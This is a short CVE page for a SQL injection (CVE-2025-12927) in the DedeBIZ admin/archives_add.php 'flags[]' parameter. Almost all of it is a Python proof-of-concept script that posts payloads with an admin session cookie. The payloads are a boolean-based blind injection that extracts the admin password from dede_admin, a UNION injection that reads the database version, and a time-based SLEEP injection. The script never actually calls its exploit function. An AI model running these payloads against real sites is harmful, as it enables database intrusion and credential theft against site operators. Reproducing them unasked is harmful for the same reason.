CVE-2025-12927 DedeBIZ admin/archives_add.php SQL注入漏洞

import requests import sys # CVE-2025-12927 SQL Injection PoC for DedeBIZ # Target: DedeBIZ up to 6.3.2 # Endpoint: /admin/archives_add.php # Parameter: flags[] TARGET_URL = "http://target.com/admin/archives_add.php" ADMIN_COOKIE = "PHPSESSID=your_admin_session_cookie" def exploit_sqli(payload): headers = { "Cookie": ADMIN_COOKIE, "Content-Type": "application/x-www-form-urlencoded" } data = { "flags[]": payload, "title": "test", "channelid": "1", "typeid": "1" } try: response = requests.post(TARGET_URL, headers=headers, data=data, timeout=10) return response.text except requests.RequestException as e: return f"Error: {e}" # Example payloads # Boolean-based blind injection to extract admin password payload_blind = "1' AND (SELECT CASE WHEN (SUBSTRING((SELECT password FROM dede_admin LIMIT 1),1,1)='a') THEN 1 ELSE 0 END) AND '1'='1" # Union-based injection to extract database version payload_union = "1' UNION SELECT 1,2,3,version(),5,6,7,8,9,10-- -" # Time-based blind injection payload_time = "1' AND IF(1=1,SLEEP(5),0) AND '1'='1" if __name__ == "__main__": print("CVE-2025-12927 DedeBIZ SQL Injection PoC") print("Usage: python exploit.py") print("\nNote: Requires valid admin session cookie")